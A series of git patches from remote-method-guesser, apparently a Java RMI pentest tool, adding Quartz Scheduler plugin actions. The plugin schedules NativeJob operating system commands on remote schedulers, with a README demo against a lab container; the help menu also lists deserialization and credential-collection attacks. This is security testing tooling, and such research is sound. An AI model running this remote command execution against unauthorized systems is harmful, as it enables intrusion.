a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java index a66f391..37e93cd 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java @@ -4,13 +4,8 @@ import java.rmi.RemoteException; /** - * The Template class represents a template to develop remote-method-guesser plugins. - * It implements all the available plugin interfaces, but only uses placeholder implementations. - * If you want to build a plugin from it, remove the interfaces and methods that you do not - * intend to use. Other methods need to be overwritten with actual useful implementations. - * - * When changing the class name, make sure to also change the RmgPluginClass entry within the - * pom.xml file. + * The Quartz Scheduler plugin implements IActionProvider to add additional + * actions to remote method guesser. */ public class Template implements IActionProvider { @@ -29,6 +24,11 @@ public void dispatch(IAction action) { Dispatcher.dispatchVersion(); } + + else if (action == QuartzAction.SCHEDULE) + { + Dispatcher.dispatchScheduleJob(); + } } catch (RemoteException e) From 970dac24d84869a05ac632aa370279b3df3f4555 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 19:14:24 +0200 Subject: [PATCH 26/62] Extend Quartz Scheduler plugin --- .../eu/tneitzel/rmg/plugin/Dispatcher.java | 139 +++++++++++++++++- .../java/eu/tneitzel/rmg/plugin/Helpers.java | 75 ++++++++-- .../eu/tneitzel/rmg/plugin/QuartzAction.java | 24 +++ .../eu/tneitzel/rmg/plugin/QuartzOption.java | 73 ++++++++- .../java/eu/tneitzel/rmg/plugin/Template.java | 16 +- 5 files changed, 310 insertions(+), 17 deletions(-) diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java index 3194e02..edec012 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java @@ -1,21 +1,36 @@ package eu.tneitzel.rmg.plugin; import java.rmi.RemoteException; +import java.util.Date; +import java.util.Set; +import org.quartz.DateBuilder; import org.quartz.JobBuilder; -import org.quartz.JobDetail; +import org.quartz.JobKey; import org.quartz.SchedulerException; +import org.quartz.SimpleScheduleBuilder; import org.quartz.Trigger; import org.quartz.TriggerBuilder; import org.quartz.core.RemotableQuartzScheduler; +import org.quartz.impl.matchers.GroupMatcher; import org.quartz.jobs.NativeJob; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.utils.RMGUtils; +/* + * The Dispatcher class is responsible for communicating with the Quartz scheduler and performs + * the actual actions supported by the plugin. All functions obtain their arguments from the + * global argument store. + * + * @author Tobias Neitzel (@qtc_de) + */ public class Dispatcher { + /* + * Obtains the version number of the remote Quartz Scheduler and displays it. + */ public static void dispatchVersion() throws RemoteException { RemotableQuartzScheduler scheduler = Helpers.getScheduler(); @@ -24,6 +39,10 @@ public static void dispatchVersion() throws RemoteException Logger.printlnMixedYellow("Remote Quartz Scheduler version:", version); } + /* + * Schedules a new Native Job within the Quartz Scheduler. This can be used for execution + * of operating system commands. + */ public static void dispatchScheduleJob() throws RemoteException { RemotableQuartzScheduler scheduler = Helpers.getScheduler(); @@ -31,15 +50,72 @@ public static void dispatchScheduleJob() throws RemoteException String cmd = QuartzOption.SCHEDULE_CMD.getValue(); String jobName = String.format("rmg-job-%d", System.currentTimeMillis()); - Logger.printMixedBlue("Scheduling job", jobName, "executing "); + jobName = QuartzOption.SCHEDULE_NAME.getValue(jobName); + String jobGroup = QuartzOption.SCHEDULE_GROUP.getValue(); + + Logger.printMixedBlue("Creating job", String.format("%s.%s", (jobGroup == null)? "DEFAULT" : jobGroup, jobName), "executing "); Logger.printlnPlainYellow(cmd); - JobDetail myJob = JobBuilder.newJob(NativeJob.class).withIdentity(jobName).usingJobData(org.quartz.jobs.NativeJob.PROP_COMMAND, cmd).build(); - Trigger myTrigger = TriggerBuilder.newTrigger().startNow().build(); + TriggerBuilder triggerBuilder = TriggerBuilder.newTrigger(); + + if (QuartzOption.SCHEDULE_DATE.notNull()) + { + String dateString = QuartzOption.SCHEDULE_DATE.getValue(); + + Logger.printMixedBlue("Setting", "job execution time", "to:"); + Logger.printlnYellow(dateString); + + int[] dateInts = Helpers.parseDate(dateString); + + Date date = DateBuilder.dateOf(dateInts[0], dateInts[1], dateInts[2], dateInts[3], dateInts[4], dateInts[5]); + triggerBuilder.startAt(date); + } + + else + { + Logger.printMixedBlue("Setting", "job execution time", "to:"); + Logger.printlnYellow("Now"); + + triggerBuilder.startNow(); + } + + if (QuartzOption.SCHEDULE_REPEAT.notNull()) + { + int repeatRate = QuartzOption.SCHEDULE_REPEAT.getValue(); + + Logger.printMixedBlue("Setting", "job repeat rate", "to:"); + Logger.printlnYellow(repeatRate + "m"); + + SimpleScheduleBuilder scheduleBuilder = SimpleScheduleBuilder.simpleSchedule().withIntervalInMinutes(repeatRate); + + if (QuartzOption.SCHEDULE_REPEAT_COUNT.notNull()) + { + int repeatCount = QuartzOption.SCHEDULE_REPEAT_COUNT.getValue(); + + Logger.printMixedBlue("Setting", "job repeat count", "to:"); + Logger.printlnYellow(String.valueOf(repeatCount)); + + scheduleBuilder.withRepeatCount(repeatCount); + } + + else + { + Logger.printMixedBlue("Setting", "job repeat count", "to:"); + Logger.printlnYellow("Infinity"); + + scheduleBuilder.repeatForever(); + } + + triggerBuilder.withSchedule(scheduleBuilder); + } + + JobBuilder jobBuilder = JobBuilder.newJob(NativeJob.class); + jobBuilder.withIdentity(jobName, jobGroup); + jobBuilder.usingJobData(org.quartz.jobs.NativeJob.PROP_COMMAND, cmd); try { - scheduler.scheduleJob(myJob, myTrigger); + scheduler.scheduleJob(jobBuilder.build(), triggerBuilder.build()); } catch (SchedulerException e) @@ -50,4 +126,57 @@ public static void dispatchScheduleJob() throws RemoteException RMGUtils.exit(); } } + + /* + * Delete one of the registered Jobs within the scheduler. + */ + public static void dispatchDelete() throws RemoteException + { + RemotableQuartzScheduler scheduler = Helpers.getScheduler(); + + String jobGroup = QuartzOption.DELETE_GROUP.getValue(); + String jobName = QuartzOption.DELETE_NAME.getValue(); + + try + { + Logger.printlnMixedYellow("Deleting job", String.format("%s.%s", jobGroup, jobName)); + scheduler.deleteJob(new JobKey(jobName, jobGroup)); + } + + catch (SchedulerException e) + { + Logger.printlnMixedYellow("Caught unexpected", "SchedulerException", "after deleting job."); + ExceptionHandler.showStackTrace(e); + + RMGUtils.exit(); + } + } + + /* + * List Jobs that are currently registered within sche scheduler. + */ + public static void dispatchList() throws RemoteException + { + RemotableQuartzScheduler scheduler = Helpers.getScheduler(); + + try + { + Logger.printlnYellow("Listing Jobs:"); + Set keys = scheduler.getJobKeys(GroupMatcher.anyGroup()); + + for (JobKey job : keys) + { + Logger.printMixedBlue("\tGroup:", job.getGroup()); + Logger.printlnPlainMixedBlue(" Name:", job.getName()); + } + } + + catch (SchedulerException e) + { + Logger.printlnMixedYellow("Caught unexpected", "SchedulerException", "after deleting job."); + ExceptionHandler.showStackTrace(e); + + RMGUtils.exit(); + } + } } diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java index 7bb7d88..e2fd46f 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java @@ -1,5 +1,6 @@ package eu.tneitzel.rmg.plugin; +import java.rmi.NoSuchObjectException; import java.rmi.UnmarshalException; import org.quartz.core.RemotableQuartzScheduler; @@ -9,36 +10,92 @@ import eu.tneitzel.rmg.networking.RMIRegistryEndpoint; import eu.tneitzel.rmg.utils.RMGUtils; +/* + * Different helper functions for various tasks. + * + * @author Tobias Neitzel (@qtc_de) + */ public class Helpers { private static RemotableQuartzScheduler scheduler = null; + /* + * Obtain a remote reference to the Quartz Scheduler. This function performs the RMI lookup + * and saves the obtained ref within the scheduler variable for later use. + */ public static RemotableQuartzScheduler getScheduler() { if (scheduler == null) { - if (RMGOption.TARGET_BOUND_NAME.isNull()) - { - Logger.printlnMixedYellow("The", "--bound-name", "option is required for all quartz actions."); - RMGUtils.exit(); - } - String host = RMGOption.TARGET_HOST.getValue(); int port = RMGOption.TARGET_PORT.getValue(); try { RMIRegistryEndpoint endpoint = new RMIRegistryEndpoint(host, port); - scheduler = (RemotableQuartzScheduler)endpoint.lookup(RMGOption.TARGET_BOUND_NAME.getValue()); + + if (RMGOption.TARGET_BOUND_NAME.isNull()) + { + Logger.println("No bound name specified. Trying to find it automatically."); + + for (String boundName : endpoint.getBoundNames()) + { + try + { + scheduler = (RemotableQuartzScheduler)endpoint.lookup(boundName); + Logger.printlnMixedBlue("Found Quartz Scheduler with bound name:", boundName); + + return scheduler; + } + + catch (ClassCastException e) + { + continue; + } + } + + Logger.printlnMixedRed("Quartz Scheduler bound name", "not found"); + Logger.printlnMixedYellow("Try to specify it manually via the", "--bound-name", "option."); + RMGUtils.exit(); + } + + else + { + scheduler = (RemotableQuartzScheduler)endpoint.lookup(RMGOption.TARGET_BOUND_NAME.getValue()); + } } - catch (UnmarshalException e) + catch (UnmarshalException | NoSuchObjectException e) { - Logger.printlnMixedYellow("Caught unexpected", "UnmarshalException", "while calling the RMI registry."); + Logger.printlnMixedYellow("Caught unexpected", e.getClass().getName(), "while calling the RMI registry."); RMGUtils.exit(); } } return scheduler; } + + /* + * Quartz Scheduler contains a function that creates a Date from six integers. This + * function splits a user specified date string into these integers and returns them + * as array. + */ + public static int[] parseDate(String date) + { + int[] dateInts = new int[6]; + String[] split = date.split(":"); + + if (split.length != 6) + { + Logger.printlnMixedYellow("Invalid date format. Format should be:", "hh:mm:ss:DD:MM:YYYY"); + RMGUtils.exit(); + } + + for (int ctr = 0; ctr < 6; ctr++) + { + dateInts[ctr] = Integer.parseInt(split[ctr]); + } + + return dateInts; + } } diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java index 252b0f2..12434b8 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java @@ -4,13 +4,37 @@ import eu.tneitzel.argparse4j.global.IOption; import eu.tneitzel.rmg.internal.RMGOption; +/* + * Actions supported by the Quartz Scheduler plugin. + * + * @author Tobias Neitzel (@qtc_de) + */ public enum QuartzAction implements IAction { + LIST("list", "list jobs registred within sche scheduler", new IOption[] { + RMGOption.TARGET_HOST, + RMGOption.TARGET_PORT, + RMGOption.TARGET_BOUND_NAME, + }), + + DELETE("delete", "delete a job from the scheduler", new IOption[] { + RMGOption.TARGET_HOST, + RMGOption.TARGET_PORT, + RMGOption.TARGET_BOUND_NAME, + QuartzOption.DELETE_GROUP, + QuartzOption.DELETE_NAME, + }), + SCHEDULE("schedule", "schedule a NativeJob for command execution", new IOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, RMGOption.TARGET_BOUND_NAME, QuartzOption.SCHEDULE_CMD, + QuartzOption.SCHEDULE_DATE, + QuartzOption.SCHEDULE_NAME, + QuartzOption.SCHEDULE_GROUP, + QuartzOption.SCHEDULE_REPEAT, + QuartzOption.SCHEDULE_REPEAT_COUNT, }), VERSION("version", "get the version of the remote scheduler", new IOption[] { diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java index fea0a81..b9fba36 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java @@ -3,9 +3,15 @@ import eu.tneitzel.argparse4j.global.IOption; import eu.tneitzel.argparse4j.global.modifiers.IArgumentModifier; import eu.tneitzel.argparse4j.global.modifiers.MetaVar; +import eu.tneitzel.argparse4j.global.modifiers.Type; import eu.tneitzel.argparse4j.impl.Arguments; import eu.tneitzel.argparse4j.inf.ArgumentAction; +/* + * Options supported by the Quartz Scheduler plugin. + * + * @author Tobias Neitzel (@qtc_de) + */ public enum QuartzOption implements IOption { SCHEDULE_CMD("cmd", @@ -13,7 +19,60 @@ public enum QuartzOption implements IOption Arguments.store(), new IArgumentModifier[] { new MetaVar("cmd") - }); + }), + + SCHEDULE_DATE("--date", + "date to execute the job (format: hh:mm:ss:DD.MM.YYYY)", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("date") + }), + + SCHEDULE_NAME("--name", + "name of the job to add", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("name") + }), + + SCHEDULE_GROUP("--group", + "name of the group to add the job to", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("name") + }), + + SCHEDULE_REPEAT("--repeat", + "repeat the job after the specified amount of minutes", + Arguments.store(), + new IArgumentModifier[] { + new Type(int.class), + new MetaVar("minutes") + }), + + SCHEDULE_REPEAT_COUNT("--repeat-count", + "how often to repeat the command", + Arguments.store(), + new IArgumentModifier[] { + new Type(int.class), + new MetaVar("n") + }), + + + DELETE_GROUP("group", + "name of the group to delete the job from", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("name") + }), + + DELETE_NAME("name", + "name of the job to delete", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("name") + }); + /** the name of the option */ private final String name; @@ -79,6 +138,18 @@ public void setValue(Object value) this.value = value; } + public T getValue(T def) + { + T value = this.getValue(); + + if (value == null) + { + return def; + } + + return value; + } + public T getValue() { try diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java index 37e93cd..8f377c7 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java @@ -6,6 +6,8 @@ /** * The Quartz Scheduler plugin implements IActionProvider to add additional * actions to remote method guesser. + * + * @author Tobias Neitzel (@qtc_de) */ public class Template implements IActionProvider { @@ -20,15 +22,25 @@ public void dispatch(IAction action) { try { - if (action == QuartzAction.VERSION) + if (action == QuartzAction.LIST) { - Dispatcher.dispatchVersion(); + Dispatcher.dispatchList(); + } + + if (action == QuartzAction.DELETE) + { + Dispatcher.dispatchDelete(); } else if (action == QuartzAction.SCHEDULE) { Dispatcher.dispatchScheduleJob(); } + + else if (action == QuartzAction.VERSION) + { + Dispatcher.dispatchVersion(); + } } catch (RemoteException e) From a4c70540de9c49dddad26ff59339600d8d768fde Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 19:30:59 +0200 Subject: [PATCH 27/62] Update README.md for Quartz Scheduler --- plugins/quartz-scheduler/README.md | 98 ++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) diff --git a/plugins/quartz-scheduler/README.md b/plugins/quartz-scheduler/README.md index 1a3724c..a54d6e8 100644 --- a/plugins/quartz-scheduler/README.md +++ b/plugins/quartz-scheduler/README.md @@ -3,3 +3,101 @@ ---- A small plugin to interact with a remotely accessible [Quartz Scheduler](https://www.quartz-scheduler.org/). +The plugin implements the `IActionProvider` interface to add additional actions to *remote-method-guesser*. +The following listing shows the extended help menu when the plugin is used: + +```console +[user@host ~]$ rmg --plugin quartz-plugin.jar --help +usage: remote-method-guesser [-h] [--plugin PLUGIN] ... + +rmg v5.1.0 - a Java RMI Vulnerability Scanner + +positional arguments: + + actions: + bind Binds an object to the registry that points to listener + call Regularly calls a method with the specified arguments + codebase Perform remote class loading attacks + enum Enumerate common vulnerabilities on Java RMI endpoints + guess Guess methods on bound names + known Display details of known remote objects + listen Open ysoserials JRMP listener + objid Print information contained within an ObjID + rebind Rebinds boundname as object that points to listener + roguejmx Creates a rogue JMX listener (collect credentials) + scan Perform an RMI service scan on common RMI ports + serial Perform deserialization attacks against default RMI components + unbind Removes the specified bound name from the registry + + plugin actions: + delete delete a job from the scheduler + list list jobs registred within sche scheduler + schedule schedule a NativeJob for command execution + version get the version of the remote scheduler + +named arguments: + -h, --help show this help message and exit + --plugin PLUGIN file system path of a rmg plugin +``` + + +### Plugin Actions + +---- + +In the following, the different supported plugin actions are quickly demonstrated. You can +use the Quartz Scheduler docker image provided by [this repository](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Fquartz-scheduler-server) +to try it out yourself. The container source code can be found [here](/docker/quartz-server). + + +#### version + +`version` is the most basic action and simply shows the version of the remote Quartz Scheduler: + +```console +[user@host ~]$ rmg --plugin quartz-plugin.jar version 172.17.0.2 1099 +[+] No bound name specified. Trying to find it automatically. +[+] Found Quartz Scheduler with bound name: DefaultQuartzScheduler_$_NON_CLUSTERED +[+] Remote Quartz Scheduler version: 2.3.2 +``` + +#### schedule + +`schedule` can be used to schedule a new job. This plugin only allows scheduling jobs of the +`NativeJob` type. This can be used to execute operating system commands. Optionally, you can +specify a date to execute at (`--date`) , a repeat interval (`--repeat`) and a repeat count +(`--repeat-count`). If `--date` was not specified, jobs are executed immediately. + +```console +[user@host ~]$ rmg --plugin quartz-plugin.jar schedule 172.17.0.2 1099 "touch /tmp/rmg-1337" --date 19:30:00:13:04:2024 --repeat 30 +[+] No bound name specified. Trying to find it automatically. +[+] Found Quartz Scheduler with bound name: DefaultQuartzScheduler_$_NON_CLUSTERED +[+] Creating job DEFAULT.rmg-job-1713029113284 executing touch /tmp/rmg-1337 +[+] Setting job execution time to: 19:30:00:13:04:2024 +[+] Setting repeat rate to: 30m +[+] Setting repeat count to: infinity +``` + +#### list + +`list` obtains a list of currently defined jobs. Jobs are always identified by a group and +a name. + +```console +[user@host ~]$ rmg --plugin quartz-plugin.jar list 172.17.0.2 1099 +[+] No bound name specified. Trying to find it automatically. +[+] Found Quartz Scheduler with bound name: DefaultQuartzScheduler_$_NON_CLUSTERED +[+] Listing Jobs: +[+] Group: DEFAULT Name: rmg-job-1713029113284 +``` + +#### delete + +`delete` allows you to delete a job by specifying it's group and name: + +```console +[user@host ~]$ rmg --plugin quartz-plugin.jar delete 172.17.0.2 1099 DEFAULT rmg-job-1713029113284 +[+] No bound name specified. Trying to find it automatically. +[+] Found Quartz Scheduler with bound name: DefaultQuartzScheduler_$_NON_CLUSTERED +[+] Deleting job DEFAULT.rmg-job-1713029113284 +``` From eb2f0e4559fb46572f2b8cb27debb66ac77df60f Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 19:31:39 +0200 Subject: [PATCH 28/62] Swap delete and list actions for Quartz Scheduler --- .../main/java/eu/tneitzel/rmg/plugin/QuartzAction.java | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java index 12434b8..28ade64 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java @@ -11,18 +11,18 @@ */ public enum QuartzAction implements IAction { - LIST("list", "list jobs registred within sche scheduler", new IOption[] { + DELETE("delete", "delete a job from the scheduler", new IOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, RMGOption.TARGET_BOUND_NAME, + QuartzOption.DELETE_GROUP, + QuartzOption.DELETE_NAME, }), - DELETE("delete", "delete a job from the scheduler", new IOption[] { + LIST("list", "list jobs registred within sche scheduler", new IOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, RMGOption.TARGET_BOUND_NAME, - QuartzOption.DELETE_GROUP, - QuartzOption.DELETE_NAME, }), SCHEDULE("schedule", "schedule a NativeJob for command execution", new IOption[] { From 2fcba078dd35439403b89fae5b0b62a3ec63fafe Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 20:04:44 +0200 Subject: [PATCH 29/62] Update plugin README.md --- plugins/README.md | 95 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 93 insertions(+), 2 deletions(-) diff --git a/plugins/README.md b/plugins/README.md index 88e14b1..8da95b1 100644 --- a/plugins/README.md +++ b/plugins/README.md @@ -2,5 +2,96 @@ ---- -The plugin system of *remote-method-guesser* gets currently refactored and will -be documented soon :) +*remote-method-guesser* can be extended with plugins. Plugins are *jar* files that +can provide implementations for certain interfaces used by *remote-method-guesser*. +If a plugin was specified using the `--plugin` option, *remote-method-guesser* uses +the plugin implementation for the corresponding interface instead of using it's own +one. + + +### Available plugins + +---- + +Useful plugins can be added to the *remote-method-guesser* repository to make them +visible and available to everyone. Currently, the following plugins are available +within *remote-method-guessers* [plugin folder](/plugins): + +* [quartz-scheduler](/plugins/quartz-scheduler) - A plugin for interacting with a + remote Quartz Scheduler via RMI. + + +### Plugin Development + +---- + +When developing a new plugin, it is recommended to use the [plugin template](/plugins/template) +provided in this repository. It provides a ready to use *maven* template to get +started with plugin development. [Template.java](/plugins/template/src/main/java/eu/tneitzel/rmg/plugin/Template.java) +contains a class with dummy implementations for all supported interfaces. + +Plugin *jar* files need to contain a specific entry within their manifest to be usable +with *remote-method-guesser*: + +``` +RmgPluginClass: eu.tneitzel.rmg.plugin.Template +``` + +This entry is set automatically when using the provided maven template. Otherwise, +it needs to be added manually. For access to *remote-method-guesser* classes and +methods, you can import it via maven: + +```xml + + + eu.tneitzel + remote-method-guesser + 5.1.0 + provided + + +``` + + +### Supported Interfaces + +---- + +This section contains a list of currently supported interfaces. More details can be +found within the [plugin template](/plugins/template). + +#### IActionProvider + +`IActionProvider` is one of the most powerful plugin interfaces. By implementing this +interface, you can provide custom command line actions for *remote-method-guesser*. These +actions are displayed within a separate *Plugin* section within the help menu and can +be used as regular command line actions - including user specified options. + +Custom command line actions can perform arbitrary operations written in Java with access +to the complete *remote-method-guesser* codebase. The implementation of arguments and +optiosn follows the *global arguments* implementation by [this](https://github.com/qtc-de/argparse4j) +*argparse4j* fork. + +#### IArgumentProvider + +`IArgumentProvider` is used when performing RMI calls using the `call` action. It can be +used to provide more complex command line arguments that cannot be created using *remote-method-guessers* +eval machanism. + +#### IPayloadProvider + +`IPayloadProvider` is used during deserialization attacks. It can be used to provide custom +gadgets that should be delivered to the remote server. + +#### IResponseHandler + +`IResponseHandler` can be used to interact with RMI responses obtained via the `call` action. +By default, *remote-method-guesser* ignores return values of RMI calls. By implementing `IResponseHandler`, +you can interact with the RMI response with user specified code. + +#### ISocketFactoryProvider + +RMI services can use custom socket factory classes that perform additional stuff during connection +or transmission. Despite *remote-method-guesser* uses custom socket factory classes that should match +the most regular use cases, you may need to define custom socket factories in certain situations. The +`ISocketFactoryProvider` allows you to do so. From 7923525872cae2bd55b0e999029aa594df9b564b Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 20:05:20 +0200 Subject: [PATCH 30/62] Bump template version number --- plugins/template/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/template/pom.xml b/plugins/template/pom.xml index 4f55d1e..ec57bc0 100644 --- a/plugins/template/pom.xml +++ b/plugins/template/pom.xml @@ -14,7 +14,7 @@ eu.tneitzel remote-method-guesser - 5.0.0 + 5.1.0 provided From 96871287e5c52cbcb92ca2bc7a579ab6e610560e Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Apr 2024 20:17:59 +0200 Subject: [PATCH 31/62] Update CHANGELOG.md --- CHANGELOG.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 70c05fc..cf13d32 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,24 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## v5.1.0 - MMM DD, 2024 + +### Added + +* Add GitHub pages for [Javadoc](https://qtc-de.github.io/remote-method-guesser/) +* Add [IActionProvider](/src/eu/tneitzel/rmg/plugin/IActionProvider.java) plugin interface +* Add [plugin template](/plugins/template) +* Add [Quartz Scheduler plugin](/plugins/quartz-scheduler) +* Add [Quartz Scheduler container](/docker/quartz-server) + +### Changed + +* Change argparse4j dependency to https://github.com/qtc-de/argparse4j +* Change CHANGELOG.md version format (af1c52137277cacfe2ccc9c166fd68770ae3e213) +* Improve RMI class loading for plugin classes (454a9fd17653ce3bceba58a9ba989e344ee2c7c7) +* Refactor plugin system ([README](/plugins/README.md)) + + ## v5.0.0 - Dec 23, 2023 ### Added From 954691c8fd3fed681daf4c88347be1aa22411b7a Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:14:13 +0200 Subject: [PATCH 32/62] Bump argparse4j version to v1.3.0 --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 9142ac8..bcf6159 100644 --- a/pom.xml +++ b/pom.xml @@ -51,7 +51,7 @@ eu.tneitzel argparse4j - 1.2.0 + 1.3.0 From ca785c867fddbc8ef9f7a61c992b249511acff12 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:14:45 +0200 Subject: [PATCH 33/62] Update default config to use enum names --- src/config.properties | 120 +++++++++++++++++------------------------- 1 file changed, 49 insertions(+), 71 deletions(-) diff --git a/src/config.properties b/src/config.properties index b37f6fb..0ba98b9 100644 --- a/src/config.properties +++ b/src/config.properties @@ -1,71 +1,49 @@ -global_verbose = false -global_no_color = false -global_stack_trace = false -global_plugin = - -target_component = -target_bound_name = -target_objid = -target_signature = - -conn_follow = false -conn_ssl = false -scan_timeout_read = 5000 -scan_timeout_connect = 3000 - -ssrf_gopher = false -ssrf = false -srfresponse = -ssrf_encode = false -ssrf_raw = false -ssrf_stream_protocol = false - -bind_objid = [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] -bind_bypass = false -bind_bound_name = - -codebass_class = -codebase_url = - -listen_ip = -listen_port = - -roguejmx_objid = [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] -roguejmx_forward_host = -roguejmx_forward_port = -roguejmx_forward_bound_name = -roguejmx_forward_objid = - -guess_wordlist_file = -guess_wordlist_folder = -guess_create_samples = false -guess_sample_folder =./rmg-samples -guess_template_folder = -guess_trusted = false -guess_force_guessing = false -guess_duplicates = false -guess_update = false -guess_zero_arg = false - -gadget_name = -gadget_cmd = - -enum_bypass = false -enum_action = - -call_arguments = -objid_objid = -known_class = -argument_pos = -1 -no_canary = false -no_progress = false -threads = 5 -yso = /opt/ysoserial.jar -dgc_method = clean -reg_method = lookup -serial_version_uid = 2 -payload_serial_version_uid = 2 - -scan_host = -scan_ports = -rmi_ports = 706,999,1030,1035,1090,1098,1099,1100-1103,1129,1199,1234,1440,1981,2199,2809,3273,3333,3900,4443-4446,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8888-8890,8901-8903,8999,9001,9003-9010,9050,9090,9099,9300,9500,9711,9809,9810-9815,9875,9910,9991,9999,10001,10098,10099,10162,10990,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500-50504 +GLOBAL_VERBOSE = false +GLOBAL_NO_COLOR = false +GLOBAL_STACK_TRACE = false + +CONN_FOLLOW = false +CONN_SSL = false +SCAN_TIMEOUT_READ = 5000 +SCAN_TIMEOUT_CONNECT = 3000 + +SSRF_RAW = false +SSRF_STREAM_PROTOCOL = false + +BIND_OBJID = [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] +BIND_BYPASS = false + +ROGUEJMX_OBJID = [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] +ROGUEJMX_FORWARD_HOST = +ROGUEJMX_FORWARD_PORT = +ROGUEJMX_FORWARD_BOUND_NAME = +ROGUEJMX_FORWARD_OBJID = + +GUESS_WORDLIST_FILE = +GUESS_WORDLIST_FOLDER = +GUESS_CREATE_SAMPLES = false +GUESS_SAMPLE_FOLDER =./rmg-samples +GUESS_TEMPLATE_FOLDER = +GUESS_TRUSTED = false +GUESS_FORCE_GUESSING = false +GUESS_DUPLICATES = false +GUESS_UPDATE = false +GUESS_ZERO_ARG = false + +ENUM_BYPASS = false +ENUM_ACTION = + +ARGUMENT_POS = -1 +ACTIVATION = false +FORCE_ACTIVATION = false + +NO_CANARY = false +NO_PROGRESS = false +THREADS = 5 +YSO = /opt/ysoserial.jar +DGC_METHOD = clean +REG_METHOD = lookup +SERIAL_VERSION_UID = 2 +PAYLOAD_SERIAL_VERSION_UID = 2 + +SCAN_PORTS = 